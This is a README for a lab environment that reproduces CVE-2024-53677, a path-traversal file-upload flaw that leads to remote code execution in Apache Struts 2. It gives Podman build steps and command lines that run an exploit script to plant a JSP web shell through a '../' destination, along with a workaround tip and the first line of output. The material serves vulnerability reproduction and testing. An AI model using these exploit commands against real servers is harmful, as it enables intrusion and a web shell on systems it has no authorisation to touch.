 CVE-2024-53677 - Apache Struts 2 Remote Code Execution Vulnerability (RCE) Reproduction Environment

This repository provides a container-based environment to reproduce the CVE-2024-53677 vulnerability in Apache Struts 2. This vulnerability involves path traversal and allows for arbitrary code execution (RCE) through the file upload functionality in Struts 2.

## Setup Instructions

The environment can be built and run using Podman. Follow these steps to set up the application:

```sh[
git clone https://github.com/seanrickerd/CVE-2024-53677.git
cd CVE-2024-53677 
podman build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
podman run -d -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
```
Running the exploit: 

```sh
pip install -r requirements.txt
python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files newshell.jsp --destination ../newshell.jsp
```
There is an intermittent issue where the file will upload properly but will not be accessible. To work around this, you will need to add an extra . to the destination, then re-run the original command. 

```sh
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
